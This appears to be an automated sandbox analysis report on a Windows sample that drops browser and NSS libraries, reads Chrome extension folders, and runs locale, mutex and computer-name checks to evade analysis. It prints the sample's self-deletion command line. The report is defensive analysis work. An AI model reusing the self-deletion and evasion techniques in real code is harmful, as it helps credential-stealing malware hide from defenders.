Source: sqlite3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
Source: sqlite3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: sqlite3[1].dll.0.dr, nss3.dll.0.dr, nss3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: sqlite3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: sqlite3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
Source: sqlite3[1].dll.0.dr, nss3.dll.0.dr, nss3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: sqlite3[1].dll.0.dr, nss3.dll.0.dr, nss3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: sqlite3[1].dll.0.dr, nss3.dll.0.dr, nss3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: sqlite3[1].dll.0.dr, nss3.dll.0.dr, nss3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: sqlite3[1].dll.0.dr, nss3.dll.0.dr, nss3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: sqlite3[1].dll.0.dr, nss3.dll.0.dr, nss3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);/overflow%s%.3x+%.6x%s%.3x/internalleafcorruptedno such schema: %sSELECT 'sqlite_master' AS name, 1 AS rootpage, 'table' AS type UNION ALL SELECT name, rootpage, type FROM "%w".%s WHERE rootpage!=0 ORDER BY namedbstat2018-01-22 18:45:57 0c55d179733b46d8d0ba4d88e01a25e10677046ee3da1d5b1581e86726f2171d:
Source: 9HDJWBSR.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: IrAr85Qv7X.exe	ReversingLabs: Detection: 95%
Source: IrAr85Qv7X.exe	Virustotal: Detection: 70%

Source: unknown	Process created: C:\Users\user\Desktop\IrAr85Qv7X.exe "C:\Users\user\Desktop\IrAr85Qv7X.exe"
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\IrAr85Qv7X.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\IrAr85Qv7X.exe" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5	Jump to behavior

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: IrAr85Qv7X.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss3.pdb source: nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

Code function: 0_2_00407A40 GetEnvironmentVariableA,lstrcat,lstrcat,lstrcat,SetEnvironmentVariableA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00407A40

Source: initial sample

Static PE information: section where entry point is pointing to: LLCPPC

Source: IrAr85Qv7X.exe	Static PE information: section name: LLCPPC
Source: mozglue.dll.0.dr	Static PE information: section name: .didat
Source: mozglue[1].dll.0.dr	Static PE information: section name: .didat
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: sqlite3.dll.0.dr	Static PE information: section name: /4
Source: sqlite3.dll.0.dr	Static PE information: section name: /19
Source: sqlite3.dll.0.dr	Static PE information: section name: /35
Source: sqlite3.dll.0.dr	Static PE information: section name: /51
Source: sqlite3.dll.0.dr	Static PE information: section name: /63
Source: sqlite3.dll.0.dr	Static PE information: section name: /77
Source: sqlite3.dll.0.dr	Static PE information: section name: /89
Source: sqlite3.dll.0.dr	Static PE information: section name: /102
Source: sqlite3.dll.0.dr	Static PE information: section name: /113
Source: sqlite3.dll.0.dr	Static PE information: section name: /124
Source: sqlite3[1].dll.0.dr	Static PE information: section name: /4
Source: sqlite3[1].dll.0.dr	Static PE information: section name: /19
Source: sqlite3[1].dll.0.dr	Static PE information: section name: /35
Source: sqlite3[1].dll.0.dr	Static PE information: section name: /51
Source: sqlite3[1].dll.0.dr	Static PE information: section name: /63
Source: sqlite3[1].dll.0.dr	Static PE information: section name: /77
Source: sqlite3[1].dll.0.dr	Static PE information: section name: /89
Source: sqlite3[1].dll.0.dr	Static PE information: section name: /102
Source: sqlite3[1].dll.0.dr	Static PE information: section name: /113
Source: sqlite3[1].dll.0.dr	Static PE information: section name: /124

Source: IrAr85Qv7X.exe

Static PE information: section name: .text entropy: 7.327610373423534

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File created: C:\ProgramData\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sqlite3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File created: C:\ProgramData\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Self deletion via cmd or bat file

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Process created: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\IrAr85Qv7X.exe" & exit
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Process created: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\IrAr85Qv7X.exe" & exit			Jump to behavior

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

Code function: 0_2_0040C4D0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,

0_2_0040C4D0

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

Code function: 0_2_00406C00

0_2_00406C00

Found evasive API chain (may stop execution after checking computer name)

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

Evasive API call chain: GetComputerName,DecisionNodes,ExitProcess

graph_0-5473

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-4413

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

graph_0-4420

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Dropped PE file which has not been started: C:\ProgramData\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sqlite3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

Code function: 0_2_00406C00

0_2_00406C00

Source: C:\Windows\SysWOW64\timeout.exe TID: 6356

Thread sleep count: 43 > 30

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_004098D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_004098D0
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00401280
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00401090
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_00408920 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00408920
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_00409D30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	0_2_00409D30
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_00409B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00409B60
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_00405F70 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00405F70

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.0000000000796000.00000004.00000020.00020000.00000000.sdmp, IrAr85Qv7X.exe, 00000000.00000003.1665516930.0000000000796000.00000004.00000020.00020000.00000000.sdmp, IrAr85Qv7X.exe, 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

API call chain: ExitProcess graph end node

graph_0-4409

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

Code function: 0_2_00404A00 VirtualProtect ?,00000004,00000100,00000000

0_2_00404A00

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

0_2_00407A40

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_00401000 mov eax, dword ptr fs:[00000030h]	0_2_00401000
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_0042E014 mov eax, dword ptr fs:[00000030h]	0_2_0042E014
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_0042E084 mov eax, dword ptr fs:[00000030h]	0_2_0042E084
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_0040C370 mov eax, dword ptr fs:[00000030h]	0_2_0040C370

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

Code function: 0_2_0040AE40 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_0040AE40

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

Memory protected: page guard

Jump to behavior

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\IrAr85Qv7X.exe" & exit			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5			Jump to behavior

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,

0_2_0040AFF0

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

Code function: 0_2_00406A50 GetSystemTime,lstrcat,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,

0_2_00406A50

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

Code function: 0_2_0040AE90 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_0040AE90

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

Code function: 0_2_0040AF30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_0040AF30

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

